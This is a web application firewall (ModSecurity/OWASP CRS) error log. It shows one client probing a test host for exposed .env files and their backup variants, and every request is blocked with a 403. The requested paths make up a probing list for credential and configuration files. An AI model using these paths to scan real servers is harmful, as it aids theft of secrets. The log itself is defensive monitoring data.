[Sun Oct 26 01:25:00.038183 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cTBXkZeq6T3EwQbX-kwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.038493 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cTBXkZeq6T3EwQbX-kwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.038697 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cTBXkZeq6T3EwQbX-kwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.645740 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cTBXkZeq6T3EwQbX-lAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.645931 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cTBXkZeq6T3EwQbX-lAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.646163 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cTBXkZeq6T3EwQbX-lAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:00.646383 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cTBXkZeq6T3EwQbX-lAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.252716 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cTRXkZeq6T3EwQbX-lQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.252979 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cTRXkZeq6T3EwQbX-lQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.253181 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cTRXkZeq6T3EwQbX-lQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.858855 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cTRXkZeq6T3EwQbX-lgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.859103 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cTRXkZeq6T3EwQbX-lgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:01.859294 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cTRXkZeq6T3EwQbX-lgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:02.464902 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cThXkZeq6T3EwQbX-lwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:02.465160 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cThXkZeq6T3EwQbX-lwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:02.465369 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cThXkZeq6T3EwQbX-lwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.070947 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cTxXkZeq6T3EwQbX-mAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.071193 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cTxXkZeq6T3EwQbX-mAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.071392 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cTxXkZeq6T3EwQbX-mAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.677687 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cTxXkZeq6T3EwQbX-mQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.677937 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cTxXkZeq6T3EwQbX-mQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:03.678129 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cTxXkZeq6T3EwQbX-mQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.303086 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cUBXkZeq6T3EwQbX-mgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.303276 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cUBXkZeq6T3EwQbX-mgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.303533 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cUBXkZeq6T3EwQbX-mgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.303737 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cUBXkZeq6T3EwQbX-mgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.908957 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cUBXkZeq6T3EwQbX-mwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.909156 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cUBXkZeq6T3EwQbX-mwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.909402 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cUBXkZeq6T3EwQbX-mwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:04.909606 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cUBXkZeq6T3EwQbX-mwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:05.514975 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cURXkZeq6T3EwQbX-nAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:05.515227 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cURXkZeq6T3EwQbX-nAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:05.515431 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cURXkZeq6T3EwQbX-nAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.120880 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cUhXkZeq6T3EwQbX-nQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.121126 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cUhXkZeq6T3EwQbX-nQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.121323 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cUhXkZeq6T3EwQbX-nQAAAAY"], referer: https://www.google.com/
